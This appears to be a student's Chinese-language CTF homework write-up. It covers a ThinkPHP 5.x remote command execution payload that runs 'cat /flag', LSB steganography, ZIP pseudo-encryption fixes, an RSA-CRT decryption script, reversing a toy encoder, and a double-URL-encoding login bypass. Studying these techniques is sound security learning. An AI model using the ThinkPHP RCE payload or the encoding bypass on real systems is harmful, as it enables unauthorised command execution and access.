1.24作业

1

 pdf_converter

ThinkPHP 5.x远程命令执行漏洞分析与复现 - 渗透测试中心 - 博客园

s=index/think%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=cat+%2Fflag

2
 

三原色值0-255（八位二进制），修改颜色码低位可隐藏信息

红绿蓝三色最低位

2、

解压遇到伪加密、crc报错的问题

修改两处0900，修改STORED("压缩方式字段，0表示未压缩，8已压缩")

3

import gmpy2
from Crypto.Util.number import long_to_bytes
p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
I = gmpy2.invert(q,p)
m1 = pow(c,dp,p)
m2 = pow(c,dq,q)
m = (((m1-m2)*I)%p)*q+m2
print(long_to_bytes(m))

4

import base64

def encode1(ans):
    s = ''
    for i in ans:
        x = ord(i) ^ 36
        x = x + 25
        s += chr(x)

    return s


def encode2(ans):
    s = ''
    for i in ans:
        x = ord(i) + 36
        x = x ^ 36
        s += chr(x)

    return s


def encode3(ans):
    return base64.b32encode(ans)


flag = ' '
print 'Please Input your flag:'
flag = raw_input()
final = 'UC7KOWVXWVNKNIC2XCXKHKK2W5NLBKNOUOSK3LNNVWW3E==='
if encode3(encode2(encode1(flag))) == final:
    print 'correct'
else:
    print 'wrong'

对final进行decode3（2（1（final）））：

XOR36,+25——-25，XOR36

+36，XOR36——XOR36,-36

decode

5.1

函数定义之初没有定义变量p，导致上面字符串处理的结果被储存到p中

要作用于下面的字符串就自己写：

str="55,56,54,79,115,69,114,116,107,49,50"
s=str.split(",")
a=""
for i in s:
      i = chr(int(i))
      a = a+i
print(a)

5.2

“authenticate？”

index.php能正常访问

index.phps查看源代码:经过urldecode后等于"admin"——进行两次url编码

浏览器会自动进行URL解码，%要进行编码：%25

%2561dmin